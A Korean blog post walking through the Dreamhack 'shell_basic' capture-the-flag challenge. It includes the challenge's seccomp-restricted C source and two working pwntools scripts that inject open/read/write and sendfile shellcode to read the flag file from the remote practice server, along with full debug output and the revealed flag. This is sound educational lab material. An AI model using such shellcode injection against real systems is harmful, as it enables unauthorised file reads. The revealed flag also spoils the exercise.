Description

    입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.

    main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.

    flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
    감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!

    플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.


    문제 파일을 받으면 shell_basic.c, shell_basic 파일들이 존재한다.

    실행 파일을 리눅스용 64비트 실행 파일이었고

    ubuntu@WSL2:~/CTF/dreamhack.io/shell_basic$ file ./shell_basic
    ./shell_basic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4ab0fe8a3aab93855695a905fc3d5e3fb5a233d4, not stripped

    shell_basic.c 소스 파일을 확인해봤을때
    execve, execveat 시스템 호출을 제한시키고
    쉘코드를 읽어 실행시키는 코드였다.

    // Compile: gcc -o shell_basic shell_basic.c -lseccomp
    // apt install seccomp libseccomp-dev
    
    #include <fcntl.h>
    #include <seccomp.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/prctl.h>
    #include <unistd.h>
    #include <sys/mman.h>
    #include <signal.h>
    
    void alarm_handler() {
        puts("TIME OUT");
        exit(-1);
    }
    
    void init() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        signal(SIGALRM, alarm_handler);
        alarm(10);
    }
    
    void banned_execve() {
      scmp_filter_ctx ctx;
      ctx = seccomp_init(SCMP_ACT_ALLOW);
      if (ctx == NULL) {
        exit(0);
      }
      seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
      seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
    
      seccomp_load(ctx);
    }
    
    void main(int argc, char *argv[]) {
      char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
      void (*sc)();
      
      init();
      
      banned_execve();
    
      printf("shellcode: ");
      read(0, shellcode, 0x1000);
    
      sc = (void *)shellcode;
      sc();
    }
    

    풀이

    flag 파일 이름을 알고 있기 때문에 open, read, write 시스템콜을 사용하면 플래그를 읽을 수 있다.

    파이썬에 있는 pwntools 모듈에 shellcraft 도구를 사용하여 아주 쉽게 쉘코드를 작성할 수 있었다.

    from pwn import *
    
    context.log_level = 'debug'
    
    p = remote('host3.dreamhack.games', 10863)
    context(arch='amd64',os='linux')
    
    shellcode = ""
    shellcode += shellcraft.pushstr('/home/shell_basic/flag_name_is_loooooong')
    shellcode += shellcraft.open('rsp',0,0)
    shellcode += shellcraft.read('rax','rsp',100)
    shellcode += shellcraft.write(1,'rsp',100)
    
    p.recvuntil("shellcode: ")
    p.send(asm(shellcode))
    print(p.recvline())
    ubuntu@WSL2:~/CTF/dreamhack.io/shell_basic$ python3 shell_basic.py
    [+] Opening connection to host3.dreamhack.games on port 10863: Done
    [DEBUG] Received 0xb bytes:
        b'shellcode: '
    [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.10/dist-packages/pwnlib/data/includes /dev/stdin
    [DEBUG] Assembling
        .section .shellcode,"awx"
        .global _start
        .global __start
        _start:
        __start:
        .intel_syntax noprefix
        .p2align 0
            /* push b'/home/shell_basic/flag_name_is_loooooong\x00' */
            push 1
            dec byte ptr [rsp]
            mov rax, 0x676e6f6f6f6f6f6f
            push rax
            mov rax, 0x6c5f73695f656d61
            push rax
            mov rax, 0x6e5f67616c662f63
            push rax
            mov rax, 0x697361625f6c6c65
            push rax
            mov rax, 0x68732f656d6f682f
            push rax
            /* open(file='rsp', oflag=0, mode=0) */
            mov rdi, rsp
            xor edx, edx /* 0 */
            xor esi, esi /* 0 */
            /* call open() */
            push 2 /* 2 */
            pop rax
            syscall
            /* call read('rax', 'rsp', 0x64) */
            mov rdi, rax
            xor eax, eax /* SYS_read */
            push 0x64
            pop rdx
            mov rsi, rsp
            syscall
            /* write(fd=1, buf='rsp', n=0x64) */
            push 1
            pop rdi
            push 0x64
            pop rdx
            mov rsi, rsp
            /* call write() */
            push 1 /* 1 */
            pop rax
            syscall
    [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-dt4iawge/step2 /tmp/pwn-asm-dt4iawge/step1
    [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-dt4iawge/step3 /tmp/pwn-asm-dt4iawge/step4
    [DEBUG] Sent 0x63 bytes:
        00000000  6a 01 fe 0c  24 48 b8 6f  6f 6f 6f 6f  6f 6e 67 50  │j···│$H·o│oooo│ongP│
        00000010  48 b8 61 6d  65 5f 69 73  5f 6c 50 48  b8 63 2f 66  │H·am│e_is│_lPH│·c/f│
        00000020  6c 61 67 5f  6e 50 48 b8  65 6c 6c 5f  62 61 73 69  │lag_│nPH·│ell_│basi│
        00000030  50 48 b8 2f  68 6f 6d 65  2f 73 68 50  48 89 e7 31  │PH·/│home│/shP│H··1│
        00000040  d2 31 f6 6a  02 58 0f 05  48 89 c7 31  c0 6a 64 5a  │·1·j│·X··│H··1│·jdZ│
        00000050  48 89 e6 0f  05 6a 01 5f  6a 64 5a 48  89 e6 6a 01  │H···│·j·_│jdZH│··j·│
        00000060  58 0f 05                                            │X··│
        00000063
    [DEBUG] Received 0x64 bytes:
        00000000  44 48 7b 63  61 35 36 32  64 37 63 66  31 64 62 36  │DH{c│a562│d7cf│1db6│
        00000010  63 35 35 63  62 31 31 63  34 65 63 33  35 30 61 33  │c55c│b11c│4ec3│50a3│
        00000020  63 30 62 7d  0a 6f 6e 67  00 00 00 00  00 00 00 00  │c0b}│·ong│····│····│
        00000030  de 4b b8 17  67 55 00 00  98 05 8e 7d  fe 7f 00 00  │·K··│gU··│···}│····│
        00000040  60 49 b8 17  01 00 00 00  00 00 89 e0  cf 7f 00 00  │`I··│····│····│····│
        00000050  00 00 89 e0  cf 7f 00 00  f0 4b b8 17  67 55 00 00  │····│····│·K··│gU··│
        00000060  87 8c 07 e0                                         │····│
        00000064
    b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n'
    [*] Closed connection to host3.dreamhack.games port 10863

    번외

    shellcraft 도구에서 cat 명령어를 더 간결하게 코드를 짤 수도 있다.
    여기서는 open, sendfile 시스템 콜을 사용한다.

    from pwn import *
    
    context.log_level = 'debug'
    
    p = remote('host3.dreamhack.games', 10863)
    context(arch='amd64',os='linux')
    
    shellcode =shellcraft.cat('/home/shell_basic/flag_name_is_loooooong')
    
    p.recvuntil("shellcode: ")
    
    p.send(asm(shellcode))
    
    print(p.recvline())
    ubuntu@WSL2:~/CTF/dreamhack.io/shell_basic$ python3 shell_basic.py
    [+] Opening connection to host3.dreamhack.games on port 10863: Done
    [DEBUG] Received 0xb bytes:
        b'shellcode: '
    [DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.10/dist-packages/pwnlib/data/includes /dev/stdin
    [DEBUG] Assembling
        .section .shellcode,"awx"
        .global _start
        .global __start
        _start:
        __start:
        .intel_syntax noprefix
        .p2align 0
            /* push b'/home/shell_basic/flag_name_is_loooooong\x00' */
            push 1
            dec byte ptr [rsp]
            mov rax, 0x676e6f6f6f6f6f6f
            push rax
            mov rax, 0x6c5f73695f656d61
            push rax
            mov rax, 0x6e5f67616c662f63
            push rax
            mov rax, 0x697361625f6c6c65
            push rax
            mov rax, 0x68732f656d6f682f
            push rax
            /* call open('rsp', 'O_RDONLY', 'rdx') */
            push 2 /* 2 */
            pop rax
            mov rdi, rsp
            xor esi, esi /* O_RDONLY */
            syscall
            /* call sendfile(1, 'rax', 0, 0x7fffffff) */
            mov r10d, 0x7fffffff
            mov rsi, rax
            push 40 /* 0x28 */
            pop rax
            push 1
            pop rdi
            cdq /* rdx=0 */
            syscall
    [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-eai66osz/step2 /tmp/pwn-asm-eai66osz/step1
    [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-eai66osz/step3 /tmp/pwn-asm-eai66osz/step4
    [DEBUG] Sent 0x58 bytes:
        00000000  6a 01 fe 0c  24 48 b8 6f  6f 6f 6f 6f  6f 6e 67 50  │j···│$H·o│oooo│ongP│
        00000010  48 b8 61 6d  65 5f 69 73  5f 6c 50 48  b8 63 2f 66  │H·am│e_is│_lPH│·c/f│
        00000020  6c 61 67 5f  6e 50 48 b8  65 6c 6c 5f  62 61 73 69  │lag_│nPH·│ell_│basi│
        00000030  50 48 b8 2f  68 6f 6d 65  2f 73 68 50  6a 02 58 48  │PH·/│home│/shP│j·XH│
        00000040  89 e7 31 f6  0f 05 41 ba  ff ff ff 7f  48 89 c6 6a  │··1·│··A·│····│H··j│
        00000050  28 58 6a 01  5f 99 0f 05                            │(Xj·│_···│
        00000058
    [DEBUG] Received 0x25 bytes:
        b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n'
    b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n'
    [*] Closed connection to host3.dreamhack.games port 10863

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다